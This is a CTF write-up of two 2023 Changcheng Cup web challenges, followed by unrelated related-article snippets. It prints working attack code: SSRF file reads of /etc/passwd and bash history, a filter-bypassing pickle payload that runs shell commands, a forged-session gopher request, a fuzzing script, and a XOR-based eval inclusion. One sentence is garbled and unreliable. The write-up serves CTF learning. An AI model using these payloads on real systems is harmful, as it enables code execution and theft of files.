2023长城杯 web部分题目(seekingeasy_extension)
seeking
下载题目附件得到:
<?php
error_reporting(0);
header("HINT:POST n = range(1,10)");$image = $_GET['image'];
echo "这里什么也没有,或许吧。";
$allow = range(1, 10);
shuffle($allow);
if (($_POST['n'] == $allow[0])) {if(isset($image)){$image = base64_decode($image);$data = base64_encode(file_get_contents($image));echo "your image is".base64_encode($image)."</br>";echo "<img src='data:image/png;base64,$data'/>";}else{$data = base64_encode(file_get_contents("tupian.png"));echo "no image get,default img is dHVwaWFuLHBuZw==";echo "<img src='data:image/png;base64,$data'/>";}
}
首先要满足 post一个n跟1,10随机数相等 intruder模块爆破即可
$image这里没有过滤,可以使用file或者filter协议获取文件内容,但是直接获取不到flag 估计是名字不同
根据提示(图片里面有隐藏信息)
分离得到一个7z压缩包,解压得到secret.txt: M0sT_D4nger0us.php
搭配filter伪协议,读取文件内容得到文件代码:

<?php
$url=$_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>
典型ssrf 没有过滤
file:///etc/passwd 发现了secret用户
secret:x:1000:1000::/home/secret:/bin/sh
再根据提示:通过文件读取分析 bash记录
同时题目也提到了 小朱的一个ID叫secret的朋友叫他帮忙测试一下他的web服务
读取secret用户的历史命令,/home/secret/.bashhistory

看见了 /home/secret/Ez_Pickle/app.py文件
#!/usr/bin/python3.6
import os
import picklefrom base64 import b64decode
from flask import Flask, sessionapp = Flask(__name__)
app.config["SECRET_KEY"] = "idontwantyoutoknowthis"User = type('User', (object,), {'uname': 'xxx','__repr__': lambda o: o.uname,
})@app.route('/', methods=('GET','POST'))
def index_handler():u = pickle.dumps(User())session['u'] = ureturn "这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"@app.route('/pickle', methods=('GET','POST'))
def pickle_handler():try:u = session.get('a')if isinstance(u, dict):code = b64decode(u.get('b'))if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:print(code)return "what do you want???"result=pickle.loads(code)return resultelse:return "almost there"except:return "error"if __name__ == '__main__':app.run('127.0.0.1', port=5555, debug=False)
pickle反序列化,给了SECRET_KEY 伪造session 给 对应的b赋值构造好的恶意 pickle序列化数据
存在过滤 if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
o操作码绕过
import base64
import picklepayload = b'''(cos
system
S'cat /f* > /tmp/a'
o.'''
# ls / > /tmp/a 得到flag名称
code = payload
if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:print(code)
#pickle.loads(code)
print(base64.b64encode(payload))
import urllib.parse
a ='''GET /pickle HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s
'''tmp = urllib.parse.quote(a)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:5555/' + '_' + new
print(result)
gopher带着cookie发包

之后再写入 flag文件内容到tmp里 读取即可

easy_extension
/userinfo.php?info= 这里存在ssrf
fuzz得知,估计是白名单 只能用 http:// https:// gopher://
在登录界面,尝试弱口令 admin 123456登录,弹出 Just View From 127.0.0.1

结合前面 /userinfo.php?info这里 肯定就是利用ssrf gopher去发包,进行登录访问
发包后,得到下一步提示:Continue go to ‘/byfackstage/profile.php’

访问,看见了三个功能,一个 search 一个calc 一个 logout

select.php这里存在任意文件读取
最终得到文件内容为:
select.php
<?php
error_reporting(0);
include "./profile.php";
ini_set('open_basedir','/var/www/html/');
$search = $_POST['search'];if(!empty($search)){if(preg_match('/[^a-zA-Z.]+/',$search)) {die('hacker!');} else {$file_path=$search;if(!file_exists($file_path)){die("<script>alert('file No exist');location.href='select.php'</script>");}$fp=fopen($file_path,"rb");$file_size=filesize($file_path);Header("Content-type: application/octet-stream");Header("Accept-Ranges: bytes");Header("Accept-Length:".$file_size);Header("Content-Disposition: attachment; filename=".basename($file_path));$buffer=1024;$file_count=0;while(!feof($fp) && $file_count<$file_size){$file_con=fread($fp,$buffer);$file_count+=$buffer;echo $file_con;}fclose($fp);}
}
ini_set('open_basedir','/var/www/html/'); 这里限制了只能访问 /var/www/html 下的文件
calc.php
<?php
error_reporting(0);
include "profile.php";$one=$_POST['one'];
$two=$_POST['two'];
$cmd=Cmd\Calc::exe($one,$two);
echo $cmd;
eval($cmd);
logout.php
<?php
include "profile.php";
header("location: ../index.php");
利用点应该就在 calc.php里 里面存在eval 不过eval()里的内容 由 Cmd\Calc::exe() 决定
题目是 easy_extension 界面也给了 zephir generate Current_Directory php extensions
意思大概是:zephir在当前目录生成 php扩展
和 zephir有关 搜索得知 zephir 是专门开发php扩展的
zephir build 执行这个命令会先把zephir代码解析成C代码,然后编译该C代码成.so库文件,最后放进你的php扩展库目录
唉 当时想到读so来自,Cmd.so Calc.so 都没有

后面看山河师傅wp里 读的是 cmd.so 小写c 。。。赛后复盘就开始懊悔 应该多试试的来着
同时山河师傅还读了 wafCheck.php 当时也不知道还有这个文件
<?php
function waf($code){if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $code)){return $code;}else{return "hacker!!!";}
}
逆cmd.so 可以知道, Cmd\Calc::exe($one,$two) 是对one和two两个参数传进来的东西进行异或然后再当做php代码执行
因为会返回 $cmd 当时想的是 fuzz一下 python脚本如下:
import requests
import re
import string
burp0_url = "http://eci-2ze4x19l8hd7454rmx2y.cloudeci1.ichunqiu.com:80/byfackstage/calc.php"
dic = string.printable
dic1 = "CDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
for i in dic1:for j in dic:one = "{}".format(i)two = "{}".format(j)data = {"one": one, "two": two, "submit": "submit"}text = requests.post(burp0_url, data=data)char = ''.join(re.findall("</form>(.+?)",text.text))print(char,one,two)
黑盒 fuzz的时候 fuzz出来了大部分字符
P 1 a
S 1 b
R 1 c
U 1 d
T 1 e
W 1 f
V 1 g
Y 1 h
X 1 i
[ 1 j
Z 1 k
] 1 l
\ 1 m
_ 1 n
^ 1 o
A 1 p
@ 1 q
C 1 r
B 1 s
E 1 t
D 1 u
G 1 v
F 1 w
I 1 x
H 1 y
K 1 zG t 3
E v 3
T g 3
[ h 3
] n 3
^ m 3
[ h 3
] n 3
\ 0 3
@ s 3
_ i 6
) b K
$ a E
| 4 H
0 a Q
! a @
: a [
= a \
< a ]
? a ^
> a _
# b A
& b D
, b N
- b O
+ B i
/ a N
但是 应该是 php7版本 eval() assert()这种解析问题
我直接构造了 c m d = " cmd = " cmd="_GET[0]" 想着这样直接 eval($cmd); 进行rce 事实上是行不通的
山河师傅 构造的是 $cmd = "require G E T [ x ] ? > " 然后 e v a l ( _GET[x]?>" 然后 eval( GET[x]?>"然后eval(cmd) 这种是可以进行文件包含的 构造包含 /flag即可
利用无字母数字异或rce绕过 wafCheck.php的限制 tql orz
这里贴一张山河师傅成功的图:

参考:https://www.yuque.com/shanhe-9jurb/kfn512/ll4pa9uzg40l5elk?singleDoc#aIM8U
相关文章:
2023长城杯 web部分题目(seekingeasy_extension)
seeking 下载题目附件得到: <?php error_reporting(0); header("HINT:POST n range(1,10)");$image $_GET[image]; echo "这里什么也没有,或许吧。"; $allow range(1, 10); shuffle($allow); if (($_POST[n] $allow[0])) …...
2-1 张量数据结构
张量概念 张量是什么? 单个元素叫标量(scalar),一个序列叫向量(vector),多个序列组成的平面叫矩阵(matrix),多个平面组成的立方体叫张量(tensor&…...
QSqlQuery查询语句
SqlQuery 封装了在 QSqlDatabase 上执行的 SQL 查询中创建、导航和检索数据所涉及的功能。 可用于执行 DML(数据操作语言)语句,如 SELECT、INSERT、UPDATE 和 DELETE, 以及 DDL(数据定义语言)语句ÿ…...
用c语言编写出三底模型
以下是一个用C语言实现三底模型的示例代码。这个程序通过循环遍历输入的股票数据,判断是否出现三底形态,如果是,则输出买入信号,否则输出卖出信号。 c语言 #include <stdio.h> #include <stdlib.h> // 判断是否出现…...
15 Python使用MySQL
概述 在上一节,我们介绍了如何在Python中使用网络,包括:套接字编程、socketserver等内容。在这一节,我们将介绍如何在Python中使用MySQL。MySQL是最流行的关系型数据库管理系统之一,由瑞典MySQL AB公司开发,…...
3、Nginx 常用的命令和配置文件
文章目录 3、nginx 常用的命令和配置文件3.1 nginx 常用的命令:3.2 nginx.conf 配置文件3.2.1 地址3.2.2 内容3.2.2 vim不正常退出后再次打开信息提示解决方法 3.3 第一部分:全局块3.4 第二部分:events 块3.4 第三部分:http 块①、…...
python经典百题之兔子出生问题
这是一个经典的 Fibonacci 数列问题,可以通过递归或循环来解决。 递归方法: 由题意可知,第 n 个月的兔子数等于第 n-1 个月的兔子数加上第 n-2 个月的兔子数。设 f(n) 表示第 n 个月的兔子数,则有: f(n) f(n-1) f…...
不定积分的概念和性质
目录 原函数 不定积分 不定积分的几何意义 原函数的存在定理 不定积分的性质 不定积分是微积分的一个关键部分,它涉及到一个函数的不定积分的计算。不定积分可以理解为求一个函数的原函数,也被称为反导数。原函数是一个函数,使得该函数的…...
远程访问服务器JupyterLab的配置方法
远程访问服务器JupyterLab的配置方法 环境及工具注意 基本步骤生成密码生成并修改配置文件*错误:jupyter localhost 已拒绝连接*后台运行jupyter后台关闭 其实就是在服务器运行JupyterLab,然后在本地浏览器访问 环境及工具 服务器:Ubuntu 1…...
Java native 关键字
如你在看 JDK 的源代码的时候,大概率会看到很多方法使用了 native 关键字。 下面是 String 对象 JDK 中的源代码,就带有了一个 native 关键字。 native 是干什么用的 简单来说就是 Java 的 native 方法的实现不是用 Java 实现的,可能在其他…...
【线性代数】沉浸式线性代数在线学习网站
地址:http://immersivemath.com/ila/index.html 这是全球第一本带交互式图形的线性代数教材,作者是 J. Strm, K. strm, and T. Akenine-Mller。 全书一共十章,各章节内容如下: 接下来我将对各章节进行简单的总结,另外…...
Kotlin中特性、数据类、伴生对象、顶层函数
Kotlin中的函数参数和属性声明 在 Kotlin 中,函数参数和属性有不同的声明方式和行为。这些特性使得 Kotlin 代码更加安全、易于理解和维护。 函数参数的只读性 fun sum(a: Int, b: Int): Int {var modifiedA aif (modifiedA > 0) {modifiedA 1}//三元表达式v…...
《PostgreSQL物化视图:创建、维护与应用》
🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🐅🐾猫头虎建议程序员必备技术栈一览表📖: 🛠️ 全栈技术 Full Stack: 📚…...
shell脚本之test命令
shell脚本之test命令 数值比较:2. 字符串比较:3. 文件测试:4. 逻辑操作:5. 其他测试: test命令在Shell脚本中用于进行条件测试和条件判断。它用于检查文件、字符串和数值的各种条件,并返回一个状态码&#…...
JAVA设计模式8:装饰模式,动态地将责任附加到对象上,扩展对象的功能
作者主页:Designer 小郑 作者简介:3年JAVA全栈开发经验,专注JAVA技术、系统定制、远程指导,致力于企业数字化转型,CSDN博客专家,阿里云社区专家博主,蓝桥云课讲师。 目录 一、什么是装饰模式二、…...
Linux学习之MySQL备份
xtrabackup资源下载 完全备份与恢复 # 1.物理备份与恢复 # 冷备份,需停止数据库服务 适合线下服务器。 [rootmysql50 ~]# systemctl stop mysqld [rootmysql50 ~]# mkdir /bakdir [rootmysql50 ~]# cp -r /var/lib/mysql /bakdir/mysql.bak [rootmysql50 ~]# cd /…...
时序分解 | MATLAB实现北方苍鹰优化算法NGO优化VMD信号分量可视化
时序分解 | MATLAB实现北方苍鹰优化算法NGO优化VMD信号分量可视化 目录 时序分解 | MATLAB实现北方苍鹰优化算法NGO优化VMD信号分量可视化效果一览基本介绍程序设计参考资料 效果一览 基本介绍 北方苍鹰优化算法NGO优化VMD,对其分解层数,惩罚因子数做优化…...
分类预测 | Matlab实现RBF-Adaboost多特征分类预测
分类预测 | Matlab实现RBF-Adaboost多特征分类预测 目录 分类预测 | Matlab实现RBF-Adaboost多特征分类预测效果一览基本介绍研究内容程序设计参考资料 效果一览 基本介绍 1.Matlab实现基于RBF-Adaboost数据分类预测(Matlab完整程序和数据) 2.多特征输入…...
【Java代码规范】阿里编码规约 VS CheckStyle
全文速览: 1、关于代码编码质量2、如何小成本有效管理企业内的编码规范 2.1 阿里编码规约IDE插件2.2 CheckStyle IDE插件 3、如何在代码提交中检验规范 3.1 阿里编码规约配置git precommit check3.2 CheckStyle配置git precommit check3.3 实践 1、关于代码编码质…...
iPhone苹果15手机圆点怎么设置让屏幕上显示出来圆形图标?
iPhone苹果15手机圆点怎么设置让屏幕上显示出来圆形图标? 1、在iPhone苹果手机上找到「设置」并点击打开; 2、在苹果iPhone设置内找到「辅助功能」并点击打开; 3、在苹果iPhone手机辅助功能内的动作交互内找到「触控」并点击打开;…...
用Multisim/TINA-TI仿真带你玩转一阶到二阶有源滤波器:从传递函数到实际频响曲线全验证
从仿真到实践:一阶与二阶有源滤波器的可视化验证指南 在模拟电路设计中,滤波器是信号处理的基础模块。许多初学者虽然能推导传递函数,却难以将理论公式与实际电路行为建立直观联系。本文将用Multisim和TINA-TI两款主流仿真工具,带…...
从nvidia-smi到npu-smi:给CUDA开发者的华为昇腾NPU监控指南
从nvidia-smi到npu-smi:CUDA开发者快速掌握昇腾NPU监控的实战手册 当你的技术栈从英伟达GPU扩展到华为昇腾NPU时,监控工具的使用体验就像从自动挡切换到手动挡——虽然最终目的地相同,但操作逻辑需要重新适应。作为曾经每天与nvidia-smi打交道…...
【Spring 面试突击 · 03】大厂高频面试题:从IoC容器底层原理到Spring Boot自动配置解析
目录 一、Spring Boot如何启动Tomcat? 二、Spring Boot配置文件加载顺序 三、MyBatis的优缺点 四、Hibernate与MyBatis的区别 五、Spring Context模块的理解 六、什么是Spring依赖注入? 七、什么是Spring Bean? 八、Spring AOP与Aspec…...
解决大模型推理中的c10::Half与float类型不匹配:从错误到实战修复
大模型半精度推理实战:彻底解决c10::Half与float类型冲突 当你第一次看到RuntimeError: expected m1 and m2 to have the same dtype, but got: float ! c10::Half这样的错误时,是不是感觉像在解一道没有提示的谜题?作为处理过数十个类似案例…...
TrackWeight:将MacBook触控板转化为精准称重工具的创新解决方案
TrackWeight:将MacBook触控板转化为精准称重工具的创新解决方案 【免费下载链接】TrackWeight Use your Mac trackpad as a weighing scale 项目地址: https://gitcode.com/gh_mirrors/tr/TrackWeight TrackWeight是一款基于macOS平台的开源工具,…...
企业网管必看:华为交换机双协议登录避坑指南(含Telnet与SSH共存配置)
华为交换机双协议登录实战:Telnet与SSH安全共存配置手册 作为企业网络管理员,每次接手新设备时最头疼的莫过于不同厂商、不同版本间的配置差异。上周我负责的某数据中心网络升级项目中,就遇到了华为S5735交换机同时配置Telnet和SSH的"坑…...
“COMSOL 18650电池组蛇形液冷模型:集总电池组耦合传热与流场模拟”
comsol18650电池组蛇形液冷模型 采用集总电池组耦合传热和流场 模拟圆柱形电池模组在外部液冷散热下的热性能,电性能等锂离子电池模组在快充场景下产生的热量能直接让表面温度突破60℃,这对电动车的安全性和寿命都是致命威胁。去年参与某车企电池包项目时…...
芯片可靠性测试避坑指南:为什么你的FCBGA封装必须做BHast(附硬件制备全流程)
芯片可靠性测试避坑指南:为什么你的FCBGA封装必须做BHast(附硬件制备全流程) 在芯片可靠性测试领域,BHast(Highly Accelerated Temperature and Humidity Stress Test)是一个经常被讨论却又容易被误解的测试…...
给嵌入式新手的ST7789驱动避坑指南:从SPI模式到RGB565显示的完整配置流程
给嵌入式新手的ST7789驱动避坑指南:从SPI模式到RGB565显示的完整配置流程 第一次接触ST7789液晶驱动芯片时,面对厚厚的数据手册和复杂的时序图,很多嵌入式新手都会感到无从下手。本文将带你一步步拆解ST7789的驱动过程,从SPI模式配…...
【问题】cursor无法识别python包
目录 问题描述解决方法 问题描述 pip install -e .安装的python可以正常导入,不报错,但cursor无法跳转,这应该怎么修复呢? 解决方法 在cursor的打开目录中新建pyrightconfig.json,填入extraPaths路径, …...
